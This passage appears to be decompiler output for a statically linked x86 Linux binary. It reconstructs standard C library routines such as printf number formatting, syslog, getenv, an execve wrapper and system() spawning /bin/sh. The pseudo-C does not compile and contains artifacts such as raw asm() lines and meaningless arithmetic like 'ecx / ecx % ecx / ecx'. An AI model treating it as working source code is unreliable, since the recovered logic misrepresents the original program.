            ebx = ebx + 1;
            esi = ebx;
            ebx = ebx + 1;
            Vffffff5c = 43;
            if(Vfffffff0 != 0) {
                Vffffff5c = 45;
            }
            al = Vffffff5c;
            *esi = al;
            Vffffff60 = 10;
            do {
                Vffffff60 = Vffffff60 + Vffffff60 + Vffffff60 * 8;
            } while(Vffffffe8 >= Vffffff60);
            if(Vffffffe8 <= 9) {
                *ebx = 48;
                ebx = ebx + 1;
            } else {
                do {
                    eax = Vffffff60;
                    ecx = 10;
                    asm("cdq");
                    edx = ecx / ecx % ecx / ecx;
                    Vffffff60 = eax;
                    eax = Vffffffe8;
                    asm("cdq");
                    Vffffff60 = Vffffff60 / Vffffff60;
                    edx = Vffffff60 % Vffffff60;
                    esi = eax;
                    al = al + 48;
                    *ebx = al;
                    ebx = ebx + 1;
                    eax = Vffffffe8;
                    asm("cdq");
                    Vffffff60 = Vffffff60 / Vffffff60;
                    Vffffffe8 = Vffffff60 % Vffffff60;
                } while(Vffffff60 > 10);
            }
            cl = Vffffffe8 + 48;
            *ebx = cl;
            ebx = ebx + 1;
        }
        if(Vffffffc4 == 0) {
            eax = Ac;
            if(*(eax + 36) == 0 && *(eax + 28) == 0) {
                goto L08054a4a;
            }
        }
        Vffffff88 = Vffffff88 - 1;
L08054a4a:
        Vffffff88 = Vffffff88 - ebx - edi;
        ecx = Ac;
        if(*(ecx + 32) == 0 && *(ecx + 44) != 48 && Vffffff88 > 0) {
            if(Vffffff88 != L08062534(A8, *(ecx + 44) & 255, Vffffff88)) {
                goto L08054bd6;
            }
            Vffffffa4 = Vffffffa4 + Vffffff88;
        }
        if(Vffffffc4 != 0) {
            ecx = A8;
            if(*(ecx + 24) <= *(A8 + 20)) {
                (save)45;
                (save)ecx;
L08054aa3:
                esp = esp + 8;
                if(L08061910() == -1) {
                    goto L08054bd6;
                }
                goto L08054b27;
            }
            *( *(A8 + 20)) = 45;
            *(A8 + 20) = *(A8 + 20) + 1;
            goto L08054b27;
        }
        if(*(Ac + 36) != 0) {
            edx = A8;
            if(*(edx + 24) <= *(A8 + 20)) {
                (save)43;
                (save)edx;
                goto L08054aa3;
            }
            *( *(A8 + 20)) = 43;
            *(A8 + 20) = *(A8 + 20) + 1;
            goto L08054b27;
        }
        if(*(Ac + 28) != 0) {
            eax = A8;
            if(*(eax + 24) <= *(A8 + 20)) {
                (save)32;
                (save)eax;
                goto L08054aa3;
            }
            *( *(A8 + 20)) = 32;
            *(A8 + 20) = *(A8 + 20) + 1;
L08054b27:
            Vffffffa4 = Vffffffa4 + 1;
        }
        eax = Ac;
        if(*(eax + 32) == 0 && *(eax + 44) == 48 && Vffffff88 > 0) {
            if(Vffffff88 != L08062534(A8, 48, Vffffff88)) {
                goto L08054bd6;
            }
            Vffffffa4 = Vffffffa4 + Vffffff88;
        }
        ebx = ebx - edi;
        if(ebx > 20) {
            if(*( *( *(A8 + 80) + 52))(A8, edi, ebx) == ebx) {
                Vffffffa4 = Vffffffa4 + ebx;
                goto L08054bea;
            }
L08054bd6:
            eax = -1;
            goto L08054c1b;
        }
        while(1) {
            eax = ebx;
            ebx = ebx - 1;
            if(eax == 0) {
                break;
            }
            esi = *edi & 255;
            edi = edi + 1;
            ecx = A8;
            if(*(ecx + 24) > *(A8 + 20)) {
                ecx = esi;
                Vffffff60 = cl;
                *( *(A8 + 20)) = cl;
                *(A8 + 20) = *(A8 + 20) + 1;
                if((Vffffff60 & 255) != -1) {
                    goto L08054be0;
                } else {
                    goto L08054bd6;
                }
            }
            esi = esi & 255;
            Vffffff64 = esi;
            if(L08061910(ecx, Vffffff64) == -1) {
                goto L08054bd6;
            }
L08054be0:
            Vffffffa4 = Vffffffa4 + 1;
        }
L08054bea:
        ecx = Ac;
        if(*(ecx + 32) != 0 && Vffffff88 > 0) {
            if(Vffffff88 != L08062534(A8, *(ecx + 44) & 255, Vffffff88)) {
                goto L08054bd6;
            }
            Vffffffa4 = Vffffffa4 + Vffffff88;
        }
    }
    eax = Vffffffa4;
L08054c1b:
    esp = ebp + -356;
}

/*	Procedure: 0x08054C28 - 0x08054C7B
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 8
 */

L08054C28(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    ecx = A8;
    edx = Ac;
    if(*edx == 255 || *edx == 0) {
        eax = 0;
        goto L08054c73;
L08054c44:
        Vfffffffc = *(edx - 1) & 255;
        eax = ecx;
        edx = 0;
        Vfffffffc = Vfffffffc / Vfffffffc;
        edx = Vfffffffc % Vfffffffc;
        ebx = ebx + eax;
    } else {
        ebx = 0;
        do {
            esi = *edx & 255;
            if(ecx <= esi) {
                goto L08054c71;
            }
            ebx = ebx + 1;
            ecx = ecx - esi;
            edx = edx + 1;
            if(*edx == 255) {
                goto L08054c71;
            }
        } while(*edx != 0);
        goto L08054c44;
    }
L08054c71:
    eax = ebx;
L08054c73:
    esp = ebp - 12;
}

/*	Procedure: 0x08054C7C - 0x08054DB6
 *	Argument size: 20
 *	Local size: 4
 *	Save regs size: 12
 */

L08054C7C(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    esi = A10;
    edi = A14;
    (save)A18;
    eax = L08054C28(esi, edi);
    Vfffffffc = eax;
    if(Vfffffffc == 0) {
        eax = Ac;
    } else {
        ebx = A8 + esi;
        ebx = ebx + Vfffffffc;
        L08056570(ebx, ebx, Ac - ebx);
        edx = ebx - 1;
        do {
            ecx = *edi & 255;
            edi = edi + 1;
            eax = ~ecx & 3;
            if(ecx > 0) {
                if(eax == 0) {
                    goto L08054d00;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        esi = esi - 1;
                        *edx = *(esi + A8);
                        edx = edx - 1;
                        ecx = ecx - 1;
                    }
                    esi = esi - 1;
                    *edx = *(esi + A8);
                    edx = edx - 1;
                    ecx = ecx - 1;
                }
            }
            esi = esi - 1;
            *edx = *(esi + A8);
            edx = edx - 1;
            if(!(ecx = ecx - 1)) {
L08054d00:
                do {
                    ebx = A8;
                    *edx = *(ebx + esi - 1);
                    *(edx - 1) = *(ebx + esi - 2);
                    *(edx - 2) = *(ebx + esi - 3);
                    esi = esi + -4;
                    *(edx - 3) = *(esi + ebx);
                    edx = edx + -4;
                } while(ecx = ecx + -4);
            }
            *edx = A18;
            edx = edx - 1;
            if(*edi == 255) {
                break;
            }
            if(*edi == 0) {
                edi = edi - 1;
            }
        } while(esi > ( *edi & 255));
        eax = A8 - edx & 3;
        if(A8 < edx) {
            if(eax == 0) {
                goto L08054d80;
            }
            if(eax < 3) {
                if(eax < 2) {
                    esi = esi - 1;
                    *edx = *(esi + A8);
                    edx = edx - 1;
                }
                esi = esi - 1;
                *edx = *(esi + A8);
                edx = edx - 1;
            }
        }
        esi = esi - 1;
        ebx = A8;
        *edx = *(esi + ebx);
        edx = edx - 1;
        if(edx > ebx) {
L08054d80:
            do {
                ebx = A8;
                *edx = *(ebx + esi - 1);
                *(edx - 1) = *(ebx + esi - 2);
                *(edx - 2) = *(ebx + esi - 3);
                esi = esi + -4;
                *(edx - 3) = *(esi + ebx);
                edx = edx + -4;
            } while(edx > ebx);
        }
        eax = Ac + Vfffffffc;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x08054DB7 - 0x08054DB7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08054DB7()
{



}

/*	Procedure: 0x08054DB8 - 0x08054DED
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08054DB8(A8)
/* unknown */ void  A8;
{



    if(A8 == 0) {
L08054dc2:
        *L08078B14 = 22;
        return;
    }
    eax = *A8 & -65536;
    if(eax != -72548352) {
        goto L08054dc2;
    }
    return(L0806267C(A8, 0, 0, 3));
}

/*	Procedure: 0x08054DEE - 0x08054DEF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08054DEE()
{



}

/*	Procedure: 0x08054DF0 - 0x08054E08
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08054DF0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L080626C8(A8, Ac, 1024));
}

/*	Procedure: 0x08054E09 - 0x08054E52
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L08054E09(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(A8 <= 255) {
        *L0807888C = 0x807a858;
        *(A8 * 4 + 0x807e78c) = A10;
        *(A8 * 4 + 0x807a858) = Ac;
        return(0);
    }
    *L08078B14 = 22;
    esp = ebp;
    return(-1);
}

/*	Procedure: 0x08054E53 - 0x08054E53
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08054E53()
{



}

/*	Procedure: 0x08054E54 - 0x08054EAC
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08054E54(A8)
/* unknown */ void  A8;
{



    eax = close( *L08078894);
    *L08078894 = -1;
    *L0807AC58 = 0;
    if(A8 != 0) {
        *L08078898 = 0;
        *L0807889C = "syslog";
        *L080788A0 = 8;
        *L080788A4 = 255;
    }
}

/*	Procedure: 0x08054EAD - 0x08054EAF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08054EAD()
{



}

/*	Procedure: 0x08054EB0 - 0x08054EC7
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L08054EB0(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    return(L08054EC8(A8, Ac, & A10));
}

/*	Procedure: 0x08054EC8 - 0x080552AD
 *	Argument size: 12
 *	Local size: 3108
 *	Save regs size: 12
 */

L08054EC8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffff3dc;
	/* unknown */ void  Vfffff3e0;
	/* unknown */ void  Vfffff3e4;
	/* unknown */ void  Vfffff3e8;
	/* unknown */ void  Vfffff3ec;
	/* unknown */ void  Vfffff3f0;
	/* unknown */ void  Vfffff3f4;
	/* unknown */ void  Vfffff3f8;
	/* unknown */ void  Vfffff3fc;
	/* unknown */ void  Vfffff400;
	/* unknown */ void  Vfffff7fe;
	/* unknown */ void  Vfffff7ff;
	/* unknown */ void  Vfffff800;



    esi = A8;
    Vfffff3e4 = *L08078B14;
    ecx = esi & 7;
    eax = *L080788A4 >> cl;
    if(!(al & 1) && !(esi & -1024)) {
        if(*L08078894 < 0 || *L0807AC58 == 0) {
            L080552B0( *L0807889C, *L08078898 | 8, 0);
        }
        if(!(esi & 1016)) {
            esi = esi | *L080788A0;
        }
        ebx = & Vfffff3fc;
        time(ebx);
        (save)ebx;
        (save)L0805B548() + 4;
        (save)esi;
        (save)"<%d>%.15s ";
        (save)2048;
        ebx = & Vfffff800;
        (save)ebx;
        L08062888();
        esi = ebx;
        esp = esp + 28;
        if(Vfffff800 != 0) {
            do {
                esi = esi + 1;
            } while(*esi != 0);
        }
        if(!( *L08078898 & 32)) {
            Vfffff3e0 = esi;
        }
        if(*L0807889C != 0) {
            L08056640(esi, *L0807889C);
            do {
                esi = esi + 1;
            } while(*esi != 0);
        }
        if(!( *L08078898 & 1)) {
            L08062888(esi, ebp - esi, "[%d]", L08057230());
            do {
                esi = esi + 1;
            } while(*esi != 0);
        }
        if(*L0807889C != 0) {
            *esi = 58;
            esi = esi + 1;
            *esi = 32;
            esi = esi + 1;
            *esi = 0;
        }
        ebx = & Vfffff400;
        goto L08055108;
L08055044:
        L080553A0( & Vfffff800, 2048, "[truncated] ");
        if(*esi != 0) {
            do {
                esi = esi + 1;
            } while(*esi != 0);
            goto L0805511b;
L080550b9:
            L080553A0( & Vfffff800, 2048, "[truncated] ");
            do {
                esi = esi + 1;
            } while(*esi != 0);
            if(*ebx != 0) {
                do {
                    ebx = ebx + 1;
                } while(*ebx != 0);
                goto L0805511b;
L08055108:
                while(1) {
                    dl = *Ac;
                    Vfffff3dc = dl;
                    if(Vfffff3dc == 0 || ebx >= & Vfffff7ff) {
                        goto L0805511b;
                    }
                    if(Vfffff3dc == 37) {
                        edx = Ac;
                        if(*(edx + 1) == 37) {
                            goto L0805502e;
                        }
                        if(Vfffff3dc == 37) {
                            edx = Ac;
                            if(*(edx + 1) == 109) {
                                goto L08055087;
                            }
                        }
                    }
                    *ebx = Vfffff3dc;
                    ebx = ebx + 1;
                    goto L08055105;
L08055087:
                    Ac = edx + 1;
                    edi = ebp - ebx + -2048;
                    eax = L08062888(ebx, edi, "%s", L080566A4(), Vfffff3e4);
                    if(eax == -1 || eax > edi) {
                        goto L080550b9;
                    }
                    if(*ebx != 0) {
                        do {
                            ebx = ebx + 1;
                        } while(*ebx != 0);
                        goto L08055105;
L0805502e:
                        if(ebx >= & Vfffff7fe) {
                            goto L08055044;
                        }
                        *ebx = 37;
                        ebx = ebx + 1;
                        *ebx = 37;
                        ebx = ebx + 1;
                        Ac = edx + 1;
                    }
L08055105:
                    Ac = Ac + 1;
                }
            }
        }
L0805511b:
        *ebx = 0;
        if(Vfffff3dc != 0) {
            L080553A0( & Vfffff800, 2048, "[truncated] ");
            do {
                esi = esi + 1;
            } while(*esi != 0);
        }
        edi = ebp - esi;
        eax = L080628A8(esi, edi, & Vfffff400, A10);
        if(eax == -1 || eax > edi) {
            L080553A0( & Vfffff800, 2048, "[truncated] ");
        }
        while(*esi != 0) {
            esi = esi + 1;
        }
        eax = & Vfffff800;
        Vfffff3e8 = esi - eax;
        if(!( *L08078898 & 32)) {
            edx = Vfffff3e0;
            Vfffff3ec = edx;
            eax = Vfffff3ec - eax;
            Vfffff3f0 = Vfffff3e8 - eax;
            Vfffff3f4 = "\n";
            Vfffff3f8 = 1;
            L08056E70(2, & Vfffff3ec, 2);
        }
        esi = & Vfffff800;
        ebx = Vfffff3e8 + esi;
        do {
            eax = L080573E8( *L08078894, esi, ebx - esi + 1);
            if(eax < 0) {
                if(*L08078B14 != 11 && *L08078B14 != 4) {
                    goto L0805522c;
                }
                eax = 0;
            }
            esi = esi + eax;
        } while(esi <= ebx);
        goto L0805523e;
L0805522c:
        eax = L08054E54(0);
L0805523e:
        if(esi <= ebx && !( *L08078898 & 2)) {
            eax = L080572DC("/dev/console", 1, 0);
            edi = eax;
            if(edi >= 0) {
                (save)"\r\n";
                ebx = & Vfffff800;
                (save)ebx;
                L080577C0();
                Vfffff3e8 = Vfffff3e8 + 2;
                (save)62;
                (save)ebx;
                esi = L08057970() + 1;
                eax = esi - ebx;
                L080573E8();
                eax = close(edi, edi, esi, Vfffff3e8 - eax);
            }
        }
    }
    esp = ebp + -3120;
}

/*	Procedure: 0x080552AE - 0x080552AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080552AE()
{



}

/*	Procedure: 0x080552B0 - 0x08055370
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L080552B0(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  edi;



    ecx = Ac;
    eax = A10;
    if(A8 != 0) {
        *L0807889C = A8;
    }
    *L08078898 = ecx;
    if(eax != 0 && !(eax & -1017)) {
        *L080788A0 = eax;
    }
    if(*L08078894 == -1) {
        *L0807AC5C = 1;
        eax = L0805680C(0x807ac5e, "/dev/log", 14);
        if(!( *L08078898 & 8)) {
            eax = socket(PF_UNIX, SOCK_STREAM, 0);
            *L08078894 = eax;
            if(eax == -1) {
                goto L0805536a;
            }
        }
        if(*L08078894 == -1) {
            goto L0805536a;
        }
    }
    if(*L0807AC58 == 0) {
        al = 0;
        edi = 0x807ac5e;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = L08056ABC( *L08078894, 0x807ac5c, !ecx + 1);
        if(eax != -1) {
            *L0807AC58 = 1;
        }
    }
L0805536a:
}

/*	Procedure: 0x08055371 - 0x08055381
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055371()
{



    return(L08054E54(1));
}

/*	Procedure: 0x08055382 - 0x0805539C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08055382(A8)
/* unknown */ void  A8;
{



    eax = *L080788A4;
    if(A8 != 0) {
        *L080788A4 = A8;
    }
}

/*	Procedure: 0x0805539D - 0x0805539F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805539D()
{



}

/*	Procedure: 0x080553A0 - 0x080555AD
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L080553A0(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    if(A8 != 0 && A10 != 0) {
        al = 0;
        edi = A10;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = !ecx;
        edi = eax - 1;
        if(edi != 0) {
            ebx = A8;
            if(*ebx == 60) {
                edx = *(ebx + 1) & 255;
                if(!( *( *L08078FA0 + edx * 2 + 1) & 8)) {
                    if(*(ebx + 2) == 62) {
                        ebx = ebx + 3;
                    } else {
                        edx = *(ebx + 2) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 8)) {
                            if(*(ebx + 3) == 62) {
                                ebx = ebx + 4;
                            } else {
                                edx = *(ebx + 3) & 255;
                                if(!( *( *L08078FA0 + edx * 2 + 1) & 8) && *(ebx + 4) == 62) {
                                    ebx = ebx + 5;
                                }
                            }
                        }
                    }
                }
            }
            eax = *ebx & 255;
            edx = *L08078FA0;
            if(!( *(edx + eax * 2 + 1) & 4) && !( *(edx + ( *(ebx + 1) & 255) * 2 + 1) & 4) && !( *(edx + ( *(ebx + 2) & 255) * 2 + 1) & 4) && *(ebx + 3) == 32) {
                if(*(ebx + 4) == 32) {
                    goto L0805547a;
                }
                if(!( *(edx + ( *(ebx + 4) & 255) * 2 + 1) & 8)) {
L0805547a:
                    eax = *(ebx + 5) & 255;
                    edx = *L08078FA0;
                    if(!( *(edx + eax * 2 + 1) & 8) && *(ebx + 6) == 32 && !( *(edx + ( *(ebx + 7) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 8) & 255) * 2 + 1) & 8) && *(ebx + 9) == 58 && !( *(edx + ( *(ebx + 10) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 11) & 255) * 2 + 1) & 8) && *(ebx + 12) == 58 && !( *(edx + ( *(ebx + 13) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 14) & 255) * 2 + 1) & 8) && *(ebx + 15) == 32) {
                        ebx = ebx + 16;
                    }
                }
            }
            eax = ebx - A8;
            esi = Ac - eax;
            Vfffffffc = esi;
            eax = Vfffffffc - 1;
            if(edi >= eax) {
                (save)eax;
                (save)ebx;
                (save)A10;
                eax = L08056480();
                *(ebx + Vfffffffc - 1) = 0;
            } else {
                eax = L08056450(ebx, A10, edi);
                if(eax != 0) {
                    *(ebx + Vfffffffc - 1 - edi) = 0;
                    ecx = L08057970(ebx, 0);
                    if(ecx >= ebx) {
                        edx = ebx - 1;
                        eax = edx - ecx & 3;
                        if(ecx > edx) {
                            if(eax == 0) {
                                goto L08055578;
                            }
                            if(eax < 3) {
                                if(eax < 2) {
                                    *(edi + ecx) = *ecx;
                                    ecx = ecx - 1;
                                }
                                *(edi + ecx) = *ecx;
                                ecx = ecx - 1;
                            }
                        }
                        *(edi + ecx) = *ecx;
                        ecx = ecx - 1;
                        if(ecx >= ebx) {
L08055578:
                            do {
                                *(edi + ecx) = *ecx;
                                *(edi + ecx - 1) = *(ecx - 1);
                                *(edi + ecx - 2) = *(ecx - 2);
                                *(edi + ecx - 3) = *(ecx - 3);
                                ecx = ecx + -4;
                            } while(ecx >= ebx);
                        }
                    }
                    eax = L08056480(A10, ebx, edi);
                }
            }
        }
    }
    esp = ebp - 16;
}

/*	Procedure: 0x080555AE - 0x080555AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080555AE()
{



}

/*	Procedure: 0x080555B0 - 0x080555F8
 *	Argument size: -4
 *	Local size: 8
 *	Save regs size: 0
 */

sleep?(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    eax = A8;
    edx = 0;
    edx = 1000000 / 1000000 % 1000000 / 1000000;
    Vfffffff8 = eax;
    edx = (eax << 5) - eax;
    eax = ((edx << 6) - edx << 3) + Vfffffff8 << 6;
    Vfffffffc = A8 - eax;
    return(select(1, 0, 0, 0, & Vfffffff8));
}

/*	Procedure: 0x080555F9 - 0x080555FB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080555F9()
{



}

/*	Procedure: 0x080555FC - 0x08055666
 *	Argument size: -32756
 *	Local size: -32768
 *	Save regs size: 0
 */

L080555FC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    (save)ebx;
    ebx = A8;
    eax = Ac;
    *(ebp + -32768) = eax;
    ecx = & A10;
    edx = 1;
    if(eax != 0) {
        do {
            if(edx > 8191) {
                goto L08055628;
            }
            ecx = ecx + 4;
            *(ebp + edx * 4 + -32768) = *(ecx - 4);
            eax = edx;
            edx = edx + 1;
        } while(*(ebp + eax * 4 + -32768) != 0);
        goto L0805564a;
L08055628:
        eax = 7;
    } else {
L0805564a:
        eax = execve(ebx, ebp + -32768, *L0806D228);
    }
    ebx = *(ebp + -32772);
}

/*	Procedure: 0x08055667 - 0x08055667
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055667()
{



}

/*	Procedure: 0x08055668 - 0x080556C3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L08055668(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    al = 0;
    edi = A8;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    edi = !ecx - 1;
    ebx = *L0806D228;
    if(*ebx != 0) {
        do {
            if(L08057B04( *ebx, A8, edi) == 0 && *(edi + *ebx) == 61) {
                goto L080556ac;
            }
            ebx = ebx + 4;
        } while(*ebx != 0);
        goto L080556b8;
L080556ac:
        eax = edi + 1 + *ebx;
    } else {
L080556b8:
        eax = 0;
    }
}

/*	Procedure: 0x080556C4 - 0x080556CA
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080556C4()
{



}

/*	Procedure: 0x080556CB - 0x080556CB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080556CB()
{



}

/*	Procedure: 0x080556CC - 0x080557E6
 *	Argument size: 4
 *	Local size: 48
 *	Save regs size: 12
 */

L080556CC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;



    Vffffffd0 = *L08078B14;
    if(A8 == 0) {
        eax = 0;
    } else {
        Vffffffdc = 8192;
        if(sigprocmask(SIG_BLOCK, & Vffffffdc, & Vffffffd8) >= 0) {
            Vfffffff0 = 0x80556c4;
            Vfffffff4 = 0;
            Vfffffff8 = 0;
            if(signal(SIGALRM, & Vfffffff0, & Vffffffe0) >= 0) {
                goto L0805573c;
            }
        }
        eax = A8;
        goto L080557dd;
L0805573c:
        Vffffffd4 = time(0);
        (save)A8;
        ebx = L08057418();
        esp = esp + 8;
        if(ebx != 0 && ebx < A8) {
            signal(SIGALRM, & Vffffffe0, NULL);
            (save)ebx;
            L08057418();
            (save) & Vffffffd8;
            L0805751C();
            esi = time(0);
            esp = esp + 24;
        } else {
            (save) & Vffffffd8;
            L0805751C();
            esi = time(0);
            signal(SIGALRM, & Vffffffe0, NULL);
            esp = esp + 20;
        }
        eax = esi - Vffffffd4;
        esi = 0;
        if(eax <= A8) {
            esi = A8 - eax;
        }
        edx = 0;
        if(eax <= ebx) {
            edx = ebx - eax;
        }
        L08057418();
        sigprocmask(SIG_SETMASK, & Vffffffd8, 0, edx);
        *L08078B14 = Vffffffd0;
        eax = esi;
    }
L080557dd:
    esp = ebp - 60;
}

/*	Procedure: 0x080557E7 - 0x080557E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080557E7()
{



}

/*	Procedure: 0x080557E8 - 0x0805599C
 *	Argument size: 4
 *	Local size: 76
 *	Save regs size: 12
 */

system(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;



    if(A8 == 0) {
        eax = 1;
    } else {
        Vfffffff0 = 1;
        Vfffffff8 = 0;
        Vfffffff4 = 0;
        if(signal(SIGINT, & Vfffffff0, & Vffffffe0) >= 0) {
            if(signal(SIGQUIT, & Vfffffff0, & Vffffffd0) < 0) {
                ebx = *L08078B14;
	        signal(SIGINT, & Vffffffe0, NULL);
            } else {
                Vffffffcc = 65536;
                ebx = *L08078B14;
                if(sigprocmask(SIG_BLOCK, & Vffffffcc, & Vffffffc8) >= 0) {
                    goto L080558ba;
                }
                if(*L08078B14 == 38) {
                    goto L080558b4;
                }
                ebx = *L08078B14;
                signal(SIGINT, & Vffffffe0, NULL);
	        signal(SIGQUIT, & Vffffffe0, NULL);
            }
            *L08078B14 = ebx;
        }
L080558aa:
        eax = -1;
        goto L08055993;
L080558b4:
        *L08078B14 = ebx;
L080558ba:
        ebx = fork();
        if(ebx == 0) {
            Vffffffb8 = "sh";
            Vffffffbc = "-c";
            Vffffffc0 = esi;
            Vffffffc4 = 0;
            signal();
            signal();
            sigprocmask(SIG_SETMASK, & Vffffffc8, 0, 3, & Vffffffd0, 0, 2, & Vffffffe0, 0);
            (save) *L0806D228;
            (save) & Vffffffb8;
            (save)"/bin/sh";
            execve();
            exit(-1);
        }
        if(ebx < 0 || L080569FC(ebx, & Vffffffb4, 0) != ebx) {
            Vffffffb4 = -1;
        }
        ebx = *L08078B14;
        (save)0;
        (save) & Vffffffe0;
        (save)2;
        edi = signal();
        (save)0;
        (save) & Vffffffd0;
        (save)3;
        esi = signal();
        if(!(eax = edi | esi | sigprocmask(SIG_SETMASK, & Vffffffc8, 0))) {
            if(*L08078B14 != 38) {
                goto L080558aa;
            }
            *L08078B14 = ebx;
        }
        eax = Vffffffb4;
    }
L08055993:
    esp = ebp - 88;
}

/*	Procedure: 0x0805599D - 0x0805599F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805599D()
{



}

/*	Procedure: 0x080559A0 - 0x08055BB9
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L080559A0(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    eax = *L08078958;
    *eax = A8;
    if(*L0807895C != 0) {
        esi = 1;
        if(*L08078960 > 1) {
            edi = *L08078958;
            eax = *L08078960 - 1 & 3;
            if(*L08078960 > 1) {
                if(eax == 0) {
                    goto L08055a9c;
                }
                if(eax > 1) {
                    if(eax > 2) {
                        ecx = *edi;
                        edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                        edx = ecx + (edx + (edx << 10)) * 2;
                        *(edi + 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                        esi = 2;
                    }
                    ecx = *(edi + esi * 4 - 4);
                    edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                    edx = ecx + (edx + (edx << 10)) * 2;
                    *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                    esi = esi + 1;
                }
            }
            ecx = *(edi + esi * 4 - 4);
            edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
            edx = ecx + (edx + (edx << 10)) * 2;
            *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
            esi = esi + 1;
            if(*L08078960 > esi) {
L08055a9c:
                do {
                    ecx = *(edi + esi * 4 - 4);
                    edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                    edx = ecx + (edx + (edx << 10)) * 2;
                    *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                    ebx = esi + 1;
                    ecx = *(edi + ebx * 4 - 4);
